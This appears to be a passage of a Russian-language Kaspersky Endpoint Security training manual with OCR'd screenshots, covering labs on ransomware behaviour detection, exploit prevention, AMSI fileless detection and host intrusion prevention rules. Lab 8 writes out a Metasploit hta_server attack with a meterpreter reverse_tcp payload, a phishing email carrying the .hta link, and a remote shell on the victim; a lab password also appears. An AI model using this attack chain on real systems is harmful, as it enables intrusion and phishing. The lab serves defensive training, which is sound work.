$\leftarrow$ $\rightarrow$ $\checkmark$ $\Uparrow$ $\blacksquare$ > Network > tom-laptop > temp >	ٽ ~	Search temp		Q,
This PC	Date modified	Туре	Size	
Desktop bsstest_amsi	5/6/2021 6:51 AM	File folder		
🛱 Documents 🛛 🖁 bsstest_amsi	1/15/2019 7:50 AM	Compressed (zipp		1 KB
Downloads	12/14/2017 12:35	CPP File		2 KB
Music	1/20/2017 9:54 AM	Text Document		1 KB
Invoice.txt.aes     Pictures     Videos     Local Disk (C:)	5/6/2021 3:20 PM	AES File		1 KB

В некоторых случаях файл не удаляется, т.к. компонент **Behavior Detection** блокирует удаленное соединение, как только обнаруживает попытку шифрования, еще до того, как вредоносный скрипт успевает удалить исходный файл.

- 25. Попробуйте удалить зашифрованный файл
- 26. Убедитесь, что вам отказано в доступе

File Acce	ss Denied
	You need permission to perform this action You require permission from ABC\Alex to make changes to this file
	invoice.bt.aes Type: AES File Size: 308 bytes Date modified: 31-Mar-21 12:46
	Try Again Cancel

# Задание В: Проверьте результаты работы компонента Анализ Поведения на машине Tom-Laptop

Откройте отчеты работы компонента защиты Анализ поведения на ноутбуке Tom-Laptop. Ознакомьтесь с выполненными действиями компонента защиты.

#### Задание выполняется на компьютере Tom-Laptop.



- Войдите в систему под учетной записью abc\Tom с паролем Ka5per5Ky
- 28. Вызовите интерфейс Kaspersky Endpoint Security
- 29. Откройте отчеты программы
- 30. Выберите **Behavior Detection**
- 31. Убедитесь, что вредоносная активность шифрования с IP 10.28.0.100 была заблокирована
- Убедитесь, что файл
   C:\temp\invoice.txt
   был восстановлен



# Задание С: Разрешите шифрование в сетевых папках общего доступа и настройте исключения для доверенных сетевых устройств

В некоторых случаях **Behavior Detection** может определить работу прикладных инженернопроектировочных программ как действия программ шифровальщиков-вымогателей. Чтобы избежать ложноположительных срабатываний компонента защиты, рекомендуется добавлять компьютеры в

доверенные. Выберите Сервер администрирования и отредактируйте политику Kaspersky Endpoint Security. Добавьте IP-адрес компьютера Alex-Desktop в список исключений компонента **Behavior Detection**.

Задание выполняется на ко	омпьютере <b>KSC</b> .	
33. Откройте веб- консоль Kaspersky Security Center	DEVICES / POLICIES & PROFILES	
34. В боковом меню выберите <b>Devices</b>   <b>Polices &amp; Profiles</b>	KASPERSKY         SECURITY CENTER         Stat_ >>         Policy name         Kaspersky Endpoint Security for Windows (116.0)	Q Search.
35. Откройте политику Kaspersky Endpoint Security для Windows	Kaspersky Endpoint Security for Windows (11.6.0)     Kaspersky Endpoint Security for Windows (11.6.0)     Kaspersky Endpoint Security for Windows (11.6.0)     Kaspersky Endpoint Security for Windows Server      DEVICES     O Default protection for Kaspersky Security 11 for Windows >> Kaspersky Security 11 for Windows	>>
36. Перейдите на вкладку <b>Application</b> <b>Settings</b>	Kaspersky Endpoint Security for Windows (11.6.0)     High protection level.	<b>(2)</b>
37. В разделе Advanced Threat Protection выберите Behavior Detection	GENERAL         EVENT CONFIGURATION         APPLICATION SETTINGS         REVISION HISTORY         POLICY PROFILES           Advanced Threat Protection         Kaspersky Security Network         Kaspersky Security Network         Kaspersky Security Network           Essential Threat Protection         Kaspersky Security Network         Kission History         Network           Security Controls         Detection and Response         Rehavior Detection         This component receives information about application activity in the operating system and searches for threats that may be missing from anti-vir application.	iftware. The use of inents, and reduces rus databases of the
38. Измените настройки защиты папок общего доступа от стороннего шифрования с Block connection на notify	<ul> <li>Behavior Detection</li> <li>Behavior Detection ENABLED          <ul> <li>This component receives information about application activity in the operating system and searches for threats that may be missing from anti-virus databases of the application.</li> </ul> </li> <li>Behavior Detection Settings         <ul> <li>Eduard Detection Settings</li> <li>Eduard Detection Settings</li> <li>Eduard Detection Settings</li> </ul> </li> </ul>	F Inforce
39. Нажмите <b>Add</b> , чтобы добавить исключение	Upon detecting malware activity   Delete file  Terminate the application  Notify	
	Protection of shared folders against external encryption	🔒 Enforce 💽
	Protection of shared folders against external encryption ENABLED     Upon detection of external encryption of shared folders	
	Notify     Block connection	
	Block connection for (minutes. 1 to 43800) 60	
	Exclusions Attempts to encrypt shared folders from the listed computers will not be tracked.	
	+ Add X Delete 🗱 Import 🛱 Export	
	Exclusions	

Add exclusion

10.28.0.100

Specify the device name or IP address

- Добавьте исключение. Введите IP адрес рабочей станции Alex-Desktop (10.28.0.100)
- 41. Дважды нажмите ОК
- 42. Сохраните изменения в политике

# Задание D: Проверьте, что исключения для доверенных сетевых устройств работают корректно

Behavior Detection ENABLED III

Задание выполняется на компьютере А	x-Desktop.					
	Alex-Desktop					
43. Откройте папку \\ <i>tom-laptop\temp\</i>	Image: Image of the second	View			-	□ × ~
44. Удалите файл <b>invoice.txt.aes</b>	<ul> <li>← → · ↑ ↓ Ne</li> <li>✓ Quick access</li> <li>Desktop</li> <li>↓ Downloads</li> <li>☑ Documents</li> <li>☑ Pictures</li> <li>↓ Distributives</li> </ul>	twork > tom	n-laptop > temp > Name Bisstest_amsi eicar eicar_drop_kl_edu.cpp invoice.txt.aes invoice	Date modified 15-Jan-19 07:50 06-Apr-21 16:15 14-Dec-17 12:35 20-Apr-21 16:58 01-Apr-21 06:43	Search temp Type Compressed (zipp Compressed (zipp CPP File AES File Text Document	р Size 1 КВ 1 КВ 2 КВ 1 КВ 1 КВ
45. Найдите на рабочем столе файл ransomware2.bat и запустите его	C:\Windows\syst **** Congratula Press any key t	em32\cmd tions!! o conti	l.exe ! Your personal nue	. files are	encrypted	-
46. Убедитесь, что файл <b>invoice.txt</b> был зашифрован и изначальный файл invoice.txt не был восстановлен	File Edit Format AES [CREATED]	Notepad View H BY aes DùŽ«Ä	Help crypt 3.10 € yR~al60 ½@SX∐Œ^	ÛýƊX)~ )W!	- 🗆 ïã	×
<ul><li>47. Удалите файл invoice.txt.aes</li><li>48. Убедитесь, что файл был удален корректно</li></ul>	¦@©X[Oia  Á'Ìò8#1 "¦÷!ÔFÁÊäü∐;)1	;E"î™QÇ ] ‡í}q=	HJY"HõÐï]Ý%8Á5( xÇ÷×∢Ú€ú~×~é2«	cШý)Шã>Ш¦y ³⊜Ϊs	y>`ôÜ}[∿=÷S"	)î

#### Заключение

В этой лабораторной работе мы увидели, что Kaspersky Endpoint Security с настройками по умолчанию умеет обнаруживать вредоносную активность вирусов шифровальщиков-вымогателей. Это происходит в рамках задачи Анализ поведения.

В случае необходимости администратор всегда может задать исключения в компоненте защиты и разрешать активность шифрования в папках общего доступа для сетевых устройств.

## Лабораторная работа 8. Как проверить Защиту от эксплойтов

Сценарий. Эксплуатация уязвимостей для злоумышленника может быть значительно проще, чем принято думать. Имея под рукой такой мощный инструмент как Metasploit Framework, злоумышленник может создать эксплоит и намеренно разослать его ничего не подозревающим сотрудникам компании.

Содержание. В этой лабораторной работе необходимо:

- 1. Имитируйте хакерскую атаку, используя уязвимость в PowerShell и получите доступ к удаленному компьютеру
- 2. Отключите большинство компонентов защиты
- 3. Проверьте защиту от эксплоитов

# Задание А: Имитируйте хакерскую атаку, используя уязвимость в PowerShell и получите доступ к удаленному компьютеру

Запустите на компьютере Kali утилиту для выполнения тестирования на проникновение Metasploit Framework. Выполните атаку на HTA (HTML Application), которая загружается через PowerShell.

Компьютеры KSC, DC, Kali, Alex-Desktop и Tom-Laptop должны бы	ыть включены.			
DC KSC Tom-Laptop Alex-Deskto	pp Kali			
Начните выполнять задание на компьютере Alex-Desktop.				
Alex-Desktop				
1. Отключите Kaspersky Endpoint Security. Правой кнопкой мыши щелкните по значку Kaspersky Endpoint Security в области уведомлений. В контекстном меню выберите: Exit Settings Support About Exit				
Переключитесь на компьютер Kali.				
Kali				

- 2. Войдите в систему под учетной записью hacker. Пароль Ka5per5Ky
- 3. Откройте терминал

4. Запустите консоль Metasploit Framework. Выполните команду:

Msfconsole

5. Выберите шаблон эксплоита. Выполните команду:

use exploit/windows/misc/hta\_server

Для удобства ввода вы можете воспользоваться табуляцией

#### msf > use exploit/windows/misc/hta\_server

6. Отобразите список уязвимых приложений для данного эксплоита. Выполните команду:

show targets

7. Выберите атаку на PowerShell x64. Выполните команду:

set target 1

msf exploit(windows/misc/hta\_server) > set target 1
target => 1

8. Выберите вредоносную нагрузку. Выполните команду

set PAYLOAD windows/x64/meterpreter/reverse\_tcp

msf exploit(windows/misc/hta\_server) > set payload windows/x64/meterpreter/rever se\_tcp payload => windows/x64/meterpreter/reverse tcp

9. Задайте адрес слушающего сервера (адрес компьютера Kali). Введите команду

set LHOST 10.28.0.50

msf exploit(windows/misc/hta\_server) > set LHOST 10.28.0.50
LHOST => 10.28.0.50

10. Активируйте эксплоит. Выполните команду

exploit -j
msf5 exploit(windows/misc/hta\_server) > exploit -j
[\*] Exploit running as background job 0.
[\*] Exploit completed, but no session was created.
[\*] Started reverse TCP handler on 10.28.0.50:4444
msf5 exploit(windows/misc/hta\_server) > [\*] Using URL: http://0.0.0.0:8080/VslqnNbskC.hta
[\*] Local IP: http://10.28.0.50:8080/VslqnNbskC.hta
[\*] Server started.

- 11. Скопируйте ссылку *http://10.28.0.50:8080/\*\*\*\*\*\*.hta* в буфер обмена (в контекстном меню нажмите Copy Link)
- 12. Откройте новый экземпляр терминала
- 13. Введите в терминале:

mailsend

- 14. Укажите следующие параметры:
  - SMTP server address/IP = 10.28.0.10
  - From = tom@abc.lab
  - To = **alex**@abc.lab
  - Subject = Report

#### 15. Нажмите Enter

- 16. Вставьте ссылку из пункта 11: http://10.28.0.50:8080/\*\*\*\*\*\*.hta
- 17. Нажмите Enter
- 18. Введите одну точку "."
- 19. Нажмите Enter

Переключитесь на компьютер Alex-	Desktop.
	Alex-Desktop
20. Откройте Microsoft Outlook	💽 🗄 🕏 🕫 Inbox - alex@abc.lab - Outlook 💡 🗷
21. Выберите полученное письмо	PLIE     HOME     SEND / RECEIVE     FOLDER     VEW       Image: Send All Send Al
<ol> <li>Откройте ссылку из письма в браузере</li> <li>Сохранита объ окт на</li> </ol>	All Folders     Image: Series     All Headers     Image: Series     Offline       Send & Receive     Download     Server     Preferences       Imbox 1     All Unread     By Date * Newest ↓     Wed 31-Mar-21 15:07
23. Сохраните объект на компьютер	Sent Items Deleted Items tom@abc.lab Report Hello, friend!
	Inbox 1     Hello, friend!       Drafts [1]     Please, click the link:       Sent Items     Please, click the link:       Deleted Items     http://10.28.0.50:8080/YNLSrQrpu11kEg.hta       Junk E-mail     Best wishes, Tom
24. В окне предупреждения нажмите <b>Run</b>	Open File - Security Warning       ×         The publisher could not be verified. Are you sure you want to run this software?       Name: C:\Users\tom.ABC\Downloads\A74b792w5l.hta         Publisher:       Name: C:\Users\tom.ABC\Downloads\A74b792w5l.hta         Type:       HTML Application         From:       C:\Users\tom.ABC\Downloads\A74b792w5l.hta         Run       Cancel
	Always ask before opening this file      This file does not have a valid digital signature that verifies its
	publisher. You should only run software from publishers you trust. How can I decide what software to run?
Переключитесь на компьютер Kali.	
	Kali
	amowork

25. Откройте консоль Metasploit Framework.

26. Убедитесь, что была открыта новая сессия

[*]	10.28.0.200 hta_server	- Delivering Payload			
[*]	Sending stage (206403 bytes)	to 10.28.0.200			
[*]	Meterpreter session 1 opened	(10.28.0.50:4444 ->	10.28.0.200:57881)	at 2019-03-26	10:36:47 +0000

27. Для подключения к созданной сессии. Выполните команду:

sessions 1

где 1 – номер созданной сессии

msf exploit(windows/misc/hta\_server) > sessions 1
[\*] Starting interaction with 1...

- 28. Вы получили полный доступ к удаленной машине Alex-Desktop
- 29. Чтобы запустить Command Prompt. Выполните команду:

shell

Далее вы можете выполнить команду whoami, чтобы понять под каким пользователем инициализирована сессия

whoami



#### Задание В: Отключите большинство компонентов защиты

В этом задании необходимо отключить большинство компонентов защиты Kaspersky Endpoint Security.



- 33. Перейдите на вкладку **Application Settings**
- 34. Выключите компоненты защиты:
  - KSN
  - Анализ поведения
- 35. Перейдите в раздел Essential Threat Protection
- Выключите компоненты защиты:
  - Защита от файловых угроз
  - Защита от вебугроз
  - Защита от почтовых угроз
- 37. Чтобы сохранить политику, нажмите **Save**
- 38. Чтобы подтвердить применение настроек, нажмите Yes
- Подождите, пока политика применится



#### Задание С: Проверьте защиту от эксплоитов

В этом задании необходимо проверить работу компонента Защита от эксплоитов.

Начните выполнять задание на компьютере <b>Tom-Laptop</b> .		
Tom-Laptop		

- 40. Закройте окно веб-браузера
- 41. Перезагрузите компьютер Тор-Laptop
- 42. Войдите в систему
- 43. Откройте основное окно Kaspersky Endpoint Security
- 44. Щелкните левой кнопкой мыши область Protection Components

- 45. Убедитесь, что компонент Exploit Prevention включен
- Kaspersky Endpoint Security ? × ← Settings Protection Advanced Threat Protection General Threats and Exclusions Exploit Prevention  $\odot$ Open report Reports and Storage Behavior Detection Network settings Open report Interface Host Intrusion Prevention Manage Settings Open report Remediation Engine  $\odot$ Open report ୍ତ୍ ତ୍
- 46. Перейдите в папку Downloads
- 47. Запустите \*.hta файл
- 2 🔒 Application Tools Home Share View Manage 🔏 Cut ₽. 🛅 Open 🔻 🕂 Select Þ Ń ~ \* × ₫ 📝 Edit 🐝 Copy path **†**]• Properties Delete Rename Pin to Quick Copy Paste Move to • New folder Copy to • 🗵 Paste shortcut 💾 Invert access Open Clipboard Organize New Sel → ✓ ↑ ↓ > This PC > Downloads ← ✓ ひ Search Downloads ~ Туре Name Date modified 📌 Quick access A74b792w5l.hta 27-Apr-21 10:09 HTML Application lesson and the contract and the contract of th 💻 This PC 3D Objects 📃 Desktop Documents 🕂 Downloads
- Обратите внимание, что возникла ошибка запуска файла
- 49. В окне Ошибка сценария нажмите **No**



50. Откройте отчеты Kaspersky **Endpoint Security Exploit Prevention** 0 Update Save report 0 51. Перейдите в отчеты Importance: 🚺 🛆 🗓 🔍 Search System audit компонента Exploit Prevention Advanced Threat Protection Time: Day 👻 < 27-Apr-21 📰 27-Apr-21 52. Убедитесь, что эксплоит был Behavior Detection Event date ↓ Event Application Application name App обнаружен Exploit Prevention ▲ Today, 27-Apr-21 10:12:46 Blocked Microsoft (R) HTML Application host mshta.exe C:\\ Host Intrusion Prevention 🔢 Today, 27-Apr-21 10:12:46 Malicious object detected Microsoft (R) HTML Application host mshta.exe C:\\ O Essential Threat Protection ▲ Today, 27-Apr-21 10:12:46 Blocked Microsoft (R) HTML Application host mshta.exe C:\\ I Today, 27-Apr-21 10:12:46 Malicious object detected Microsoft (R) HTML Application host mshta.exe C:\\ File Threat Protection ▲ Today, 27-Apr-21 10:12:46 Blocked Microsoft (R) HTML Application host mshta.exe C:\V Web Threat Protection 1 Today, 27-Apr-21 10:12:46 Malicious object detected Microsoft (R) HTML Application host mshta.exe C:\\ Mail Threat Protection A Today, 27-Apr-21 10:12:35 Task stopped C:\F avp.exe Firewall Network Threat Protection Today, 27-Apr-21 10:12:46 Malicious object detected AMSI Protection Event: Malicious object detected Application: Microsoft (R) HTML Application host User ABC/Tom User type: Active user Component: Exploit Prevention Result description: Detected Type: Trojan program Name: HEUR:Trojan.Script.Generic Threat leave! High C Security Controls Adaptive Anomaly Control Application Control Device Control Threat level: High Object type: File Web Control Переключитесь на компьютер Kali.



- 53. Войдите в систему под учетной записью hacker. Пароль Ka5per5Ky
- 54. Откройте консоль Metasploit
- 55. Выполните команду:

#### sessions

Обратите внимание, что активных сессий к компьютеру злоумышленника не установлено

<pre>msf exploit(windows/misc/hta_server</pre>	) >	sessions
Active sessions		
No active sessions.		

#### Заключение

В этой лабораторной работе мы убедились, что многоуровневая система защиты Kaspersky Endpoint Security позволяет предотвращать сложные угрозы, когда основные компоненты программного обеспечения отключены.

## Лабораторная работа 9. Как проверить Защиту от бесфайловых угроз

Сценарий. В последнее время активное распространение получил новый вектор угроз с применением мощного инструмента администрирования и управления операционной системой PowerShell. Злоумышленник может запустить в пространстве памяти процесса PowerShell свой код. Бесфайловую атаку обнаружить значительно сложнее, поскольку вредоносный код исполняется в памяти, в отличие от стандартных вирусов, где вредоносные файлы сохраняются на локальном диске. В основном атаки с использованием PowerShell являются следствием компрометации, которая началась с других вредоносных действий, как правило с эксплуатации уязвимостей программного обеспечения.

# **Содержание**. В этой лабораторной работе необходимо отключить KSN и проверить обнаружение бесфайловой угрозы при помощи интерфейса против вредоносного сканирования **AMSI**.



PS C:\temp\bsstest\_amsi\bsstest\_amsi> .\bsstest\_amsi.ps1

9. Убедитесь, Kaspersky Endpoint Security заблокировал исполнение скрипта

File Threat Protection

Web Threat Protection

Mail Threat Protection

AMSI Protection

C Security Controls

Application Control

Device Control Web Control

Network Threat Protection

Adaptive Anomaly Control

Firewall



I Today, 31-Mar-21 15:42:06 Malicious object detected

(i) Today, 31-Mar-21 15:41:09 Task started

▲ Today, 31-Mar-21 14:25:32 Task stopped

(i) Today, 31-Mar-21 12:42:38 Task started

I Today, 31-Mar-21 15:42:07 Malicious object detected

Type: Trojan program Name: HEUR:Trojan.Multi,AmsiKdbDetect.gen Precision: Exactly

Application name, powershellcke Application path: C:\Windows\System32\WindowsPowerShell\v1.0 Component: AMSI Protection Result description: Detected

Event: Malicious object detected

User: ABC\Tom User type: Active user Application name: powershell.exe

0				
Зак	ίлюч	ени	1e	

Вы смогли убедиться, что даже при отключении некоторых компонентов защиты, Kaspersky Endpoint Security может эффективно взаимодействовать со встроенными средствами интерпретации скриптов операционной системы Microsoft Windows, обнаруживать и блокировать запуск вредоносного кода.

### Лабораторная работа 10. Меры по повышению безопасности рабочей станции для защиты от программ-вымогателей

Сценарий. Из всех угроз больше всего вас беспокоят программы-вымогатели. Если однажды Kaspersky Endpoint Security не обнаружит новую версию вредоносной программы, компания потеряет много денег. Чтобы уменьшить риск, с помощью компонента предотвращение вторжений запретите всем программам, кроме доверенных, менять документы на компьютерах.

Содержание. В этой лабораторной работе:

- 1. Имитируйте заражение вредоносной программой-вымогателем
- 2. Запретите изменять и удалять документы всем программам, кроме доверенных
- 3. Настройте хранить события компонента предотвращение вторжений на Сервере администрирования
- 4. Имитируйте шифрование документа и оцените результат

### kaspersky

De

powershell.exe

avp.exe

avp.exe

avp.exe

#### Задание А: Имитируйте заражение вредоносной программой-

#### вымогателем

Найдите на рабочем столе компьютера **Tom-Laptop** и запустите скрипт **ransomware.bat**, который шифрует и удаляет текстовый документ.



- программе Блокнот
- 5. Убедитесь, что файл invoice.txt.aes зашифрован
- 6. Закройте Блокнот

 invoice.txt.aes - Notepad
 ×

 File Edit Format View Help

 AES [CREATED\_BY aescrypt 3.10 €

 ±'ûTrçP=]ŽëCÉiÁŸ
 >,£1,-%Tï[%õ]¥¤Ä\*ú[]A+™`\

 :=êÚÉß^&læ'ÃTT£Ó6ÑÒŸ-S¢°0[ð'u•-§áS'Žc%Á1B]Î;°=xîÛ/Í]"x
 ^

 íá‡:e7:I~4Ø#Ù],×{ĩ¡|9]JyKÛ|[Â]
 ^

# Задание В: Запретите изменять и удалять документы всем программам, кроме доверенных

Откройте настройки компонента Предотвращение вторжений в политике Kaspersky Endpoint Security. Найдите список защищаемых ресурсов. Создайте категорию *Documents*. Добавьте в нее файлы с расширением \*.*txt*. Запретите всем программам, кроме доверенных, изменять, удалять и создавать файлы из этой категории.

#### Задание выполняется на компьютере KSC.



- 7. Откройте вебконсоль Kaspersky Security Center
- 8. В боковом меню выберите **Devices** | **Polices & Profiles**
- 9. Откройте политику Kaspersky **Endpoint Security** for Windows
- 10. Перейдите на вкладку Application Settings
- 11. В разделе **Advanced Threat** Protection выберите Host Intrusion Prevention

mΔ DEVICES / POLICIES & PROFILES 111 Current path: KSC 🕂 🕂 🕂 🕂 🕂 🕂 🕂 🔿 How in group 👘 Copy  $\times$  Delete 🚯 Distribution KASPERSKY SECURITY CENTER Stat... >> Policy name Application Kaspersky Endpoint Security for Windows (11.6.0) 📃 кsc Kaspersky Endpoint Security for Windows (11.6.0) Kaspersky Endpoint Security for ... ▲ MONITORING & REPORTING Kaspersky Security 11 for Windows Server DEVICES Default protection for Kaspersky Security 11 for Windows ... >> Kaspersky Security 11 for Windo... >> POLICIES & PROFILES Kaspersky Security Center 13 Network Agent • Kaspersky Endpoint Security for Windows (11.6.0) Low protection level. Important protection components are disabled. Learn more

Advanced Threat Protection	Kaspersky Security Network

Essential Threat Protection

Detection and Response

60

Security Controls

Data Encryption

General settings

Local Tasks

GENERAL EVENT CONFIGURATION APPLICATION SETTINGS REVISION HISTORY POLICY PROFILES

Behavior Detection
This component receives information about application activity in the operating system and searches for threats that may be missing from anti-virus databases of the application.

Exploit Prevention

Host Intrusion Prevention

12. Включите	O Host Intrusion Prevention
компонент <b>Host</b>	O The component settings are as recommended.
Prevention	Host Intrusion Prevention
13. Откройте список	Host Intrusion Prevention ENABLED ⑦     This component keeps track of application activities in the system and regulates the activity of applications depending on their status.
ссылке Application	Application rights and protected resources
rights and protected	Application rights and protected resources Configure application rights to access user files and application settings or to access operating system processes and objects.
resources	Applications launched before Kaspersky Endpoint Security for Windows are automatically moved to the trust group Low Restricted
	Application processing rules

 Update rights for previously unknown applications from KSN database Trust applications that have a digital signature
 Delete rights for applications that are not started for more than (days, 1 to 90) 🔒 Enforce 💽

🔒 Enforce 💽

🔒 Enforce 💽

ОК



21.	Выберите параметр <b>Category</b>	Add resource	
	of protected resources	Add resource	
22.	Укажите название Documents	Group name <u>Operating system</u>	
23.	Пройдите по ссылке <b>Operating</b> system	Category of protected resources File or folder Registry key Name Documents	
24.	Укажите подкатегорию Protected Files	Add resource	Select group
25.	Нажмите <b>ОК</b> дважды	Add resource Group name <u>Operating system</u> Category of protected resources File or folder Registry key Name	<ul> <li>&gt; Operating system</li> <li>&gt; Personal data</li> <li>&gt; User files</li> <li>&gt; Application Settings</li> <li>Protected Files</li> </ul>
26.	Добавьте типы файлов в категорию. В левой панели нажмите Add	<ul> <li>Application rights and protected resources</li> <li>Protected resources</li> <li>Application rights</li> <li>Search</li> <li>Changes</li> <li>Applications</li> <li>Applications</li> <li>Trusted</li> <li>Personal data</li> <li>Low Restrice</li> <li>High Restrice</li> <li>Untrusted</li> </ul>	ete Create Read Write Delete Create ed C Create ed C C C C C ced C C C C C ced C C C C C C ced C C C C C C C C ced C C C C C C C C C C C C C C C C C C C
27.	В типе ресурсов выберите: <b>file or</b> folder	Add resource	
28.	В поле Path to file or folder введите *.txt, а в поле Display name for the list of categories добавьте txt	Add resource         Group name         Protected file         Category of protected resources         File or folder         Registry key         Path to file or folder         *.txt         Display name for the list of categories         txt	

- 29. Пройдите по ссылке *Operating system*
- 30. Укажите подкатегорию Documents
- 31. Нажмите **ОК** дважды
- 32. Укажите права для созданной категории: выберите категорию Personal Data | Protected files | Documents | \*.txt
- Щелкните левой кнопкой мыши по полю с названием
   \*.txt
- 34. Запретите менять файлы категории программам с репутацией Low и High Restricted: измените действие для операций Write, Delete и Create на Block

Add resource				Select group				
				Group name				
Add resource				0	> Operat	ing system	1	
Group name				0	∨ Person	al data		
Category of protected resources				0	> Use	r files		
File or folder				0	> App	lication Se	tting	
O Registry key				○ ∨ Protected Files			5	
Path to file or folder					Doc	uments		
*.txt								
Name			Applications ~					
Search		0	*.txt					
+ Add × Delete 🖑 Reset 🔅 Move		-	+ Add × Delete 🖱	Reset 🔅 N	love			
Name	Changes	Status	Applications	Read	Write	Delete	Cr	
<ul> <li>Operating system</li> </ul>	٠		Trusted	~	~	~		
🔹 🗀 Personal data	٠		Low Restricted	~	$\otimes$	$\otimes$	8	
User files			🗌 🛅 High Restricted	<b>M</b>	8	8	0	
			Untrusted	×	×	×	>	
Application Settings								
Application Settings     Protected Files	•							
Application Settings     Protected Files     Documents	•							

- 35. Настройте компонент Предотвращение вторжений записывать, когда программы пытаются менять документы. Включите Log events: Write, Delete и Create для всех запрещающих действий
- 36. Сохраните права доступа: нажмите ОК дважды
- 37. Сохраните политику: нажмите Save
- 38. Подождите, пока политика применится

# Задание С: Настройте хранить события компонента предотвращение вторжений на Сервере администрирования

Откройте в политике настройки событий. Найдите информационные события компонента предотвращение вторжений: **Application placed in restricted group** и **Application privilege control rule triggered**. Настройте политику хранить эти события на Сервере администрирования.

Задание выполняется на компьютере KSC. 39. Откройте ММС консоль File Action View Help Kaspersky Security 🗢 🔿 🙋 📷 🛍 🛯 📾 🖉 📷 Center Kaspersky Security Center 13 Administration Server KSC > Managed devices Administration Server KSC Managed devices
 Servers
 Workstations 40. Откройте свойства Policies политики Kaspersky □ Mobile Device Management Devices Policies Tasks Group properties **Endpoint Security for**  Operice selections
 Unassigned devices
 Policies Windows Import policy from file Add/Remove columns Refresh 📋 Tasks ..... Kaspersky Licenses User accounts Name Status Application Kaspersky Security Center 13 Network 🛛 🗖 Oser accounts
 Oser accounts
 Application management
 P Remote installation
 Opploy device images curity Center Netv Kaspersky : ork Agen Kaspersky Security Center 1
 Active policy Agent cation: Kaspersky Security Center Network Agent Unkn Installation packages
 Data encryption and protection
 Q Device discovery Compare policy to another policy Default protection for Kaspe ed: 29-Mar-21 17:41:18 Kaspersky Endpoint Securit Export aed: 29-Mar-21 17:41:19 Deleted objects Not inherited All tasks ited policy: > 🗄 Repositor Group by column Affected: 3 device(s) Enforcement successful: 3 device(s) Cut Сору Details Delete Export list < Propertie Help - kaspersky Properties: Kaspersky Endpoint Security for Windows (11.6.0) 41. Перейдите в раздел tection level Critical protection components are disabled. Learn more Event configuration w pro Section (второй сверху) на Event configuration General закладку Info Critical I Functional failure A Warning Info Event configuration ~ () 42. Отсортируйте события Editing locked Advanced Threat Protection по типу и выберите Essential Threat Protection Storage term Event type Detection and Response событие Application A backup copy of the object was created 30 days A page that is allowed was opened <Do not store> 0 Security Controls placed in restricted Access to the cloud service is allowed <Do not store> Data Encryption Account was not added. This account already exists <Do not store> group Local Tasks Account was not deleted. This account does not exist <Do not store> Account was not modified. This account does not exist <Do not store> General settings 43. Откройте свойства All application components that are defined by the license have bee... 30 davs Policy profiles Application components successfully changed 30 days события: нажмите Application placed in restricted group <Do not store> Revision history Application placed in the trusted group <Do not store> кнопку Properties под 0 Application settings changed <Do not store> Application startup allowed in test mode <Do not store> списком 0 Application startup prohibited in test mode 30 days Authentication Agent account deleted <Do not store> Authentication Agent account password changed <Do not store> 30 days BitLocker recovery key was changed 0 Connection to the Kaspersky Anti Targeted Attack Platform server ... 30 days Device is connected <Do not store> 0 Device is disconnected <Do not store> Encryption module loaded <Do not store> Endpoint Sensor connected to server 30 days Failed attempt to access the hard drive using the procedure of req... <Do not store> Failed Authentication Agent login attempt <Do not store> Failed to uninstall Kaspersky Disk Encryption drivers from the WinR... 30 days FDE upgrade rollback successful 30 days <

<u>Help</u>

#### 70

Select all

ок

Properties

Apply

Cancel

Лабораторная работа 10. Меры по повышению безопасности рабочей станции для защиты от программ-вымогателей

44. Включите хранить событие в базе данных Сервера администрирования: отметьте параметр Store in the Administration Server database for (days) и нажмите OK

- Event registration 30 ÷ Store in the Administration Server database for (days): Export to SIEM system using Syslog Store in the OS event log on device Store in the OS event log on Administration Server Event notifications Notify by email Notify by SMS Notify by running an executable file or script Notify by SNMP By default, the notification settings specified on the Administration Server properties tab (such as recipient address) are used. To specify individual settings, click the Settings link. Settings OK Cancel
- Critical protection components are disabled. Learn more у рг Event configuration Sections General Critical I Functional failure A Warning Info Event configuration ~ () Advanced Threat Protection Editing locked Essential Threat Protection Event type Storage term Detection and Response <Do not store> Application settings changed 0 Application startup allowed in test mode Application startup prohibited in test mode <Do not store> Security Controls 30 days Data Encryption Authentication Agent account deleted Authentication Agent account password changed <Do not store > Local Tasks <Do not store> BitLocker recovery key was changed Connection to the Kaspersky Anti Targeted Attack Platform server ... 30 davs 0 General settings 30 days Policy profiles Device is connected <Do not store> 0 Device is disconnected <Do not store> Revision history 0 Encryption module loaded <Do not store> Endpoint Sensor connected to server 30 days Failed attempt to access the hard drive using the procedure of req... <Do not store> Failed Authentication Agent login attempt <Do not store> Failed to uninstall Kaspersky Disk Encryption drivers from the WinR... FDE upgrade rollback successful 30 davs 30 days FDE upgrade successful 30 days File operation performed 30 days 0 File restored Finished applying file encryption/decryption rules <Do not store> <Do not store> Group policy disabled <Do not store> Hard drive accessed using the procedure of requesting access to e... <Do not store> Host Intrusion Prevention was triggered
   Information about detected object <Do not store> 30 days Keyboard authorized 30 days KSN servers available 30 days < > Select all Properties <u>Help</u> ОК Cancel Apply

Properties: Kaspersky Endpoint Security for Windows (11.6.0)

45. Выберите событие Host Intrusion Prevention was triggered и нажмите Properties
Лабораторная работа 10. Меры по повышению безопасности рабочей станции для защиты от программ-вымогателей

Properties: Host Intrusion Prevention was triggered Events of this type can be published in large quantities, and transferring them to Administration Server for registration or notification may therefore have a negative effect. Typically, these events may replace other important events in the database when the events count limit is reached. They may also cause the database of disk to run out of space, or they may affect the performance of Administration Server or the DBMS. Learn more... Event registration 30 -Store in the Administration Server database for (days): Export to SIEM system using Syslog Store in the OS event log on device Store in the OS event log on Administration Server Event notifications Notify by email Notify by SMS Notify by running an executable file or script Notify by SNMP By default, the notification settings specified on the Administration Server properties tab (such as recipient address) are used. To specify individual settings, click the Settings link. Settings OK Cancel

- 49. Откройте веб-консоль
- 50. В боковом меню выберите Monitoring & Reporting | Event Selections
- 51. Для создания новой выборки событий нажмите **Add**
- 52. Введите имя выборки Selection name Host intrusion prevention

≡ m <b>4</b>	MONITORING & REPORTING / EVENT SE	LECTIONS
	Selection All selections	
	+ Add Properties > Reconfigure sorting and start	× Delete
SECORITYCENTER	Selection name	Selection type
🖽 KSC 🖌 🖌 🖌	User requests	Predefined selection
	Recent events	Predefined selection
$\Delta$ MONITORING $\sigma$ REPORTING $\checkmark$	Critical events	Predefined selection
DASHBOARD	Eunctional failures	Predefined selection
REPORTS	<u>Warnings</u>	Predefined selection
EVENT SELECTIONS	Info events	Predefined selection
New event selection		

General	Selection name	Host Intrusion Prevention Events			
Events	Search for the following string				
Devices	Limit the number of displayed	events			
Time	3000				
Access rights	Limit search to this number of events				
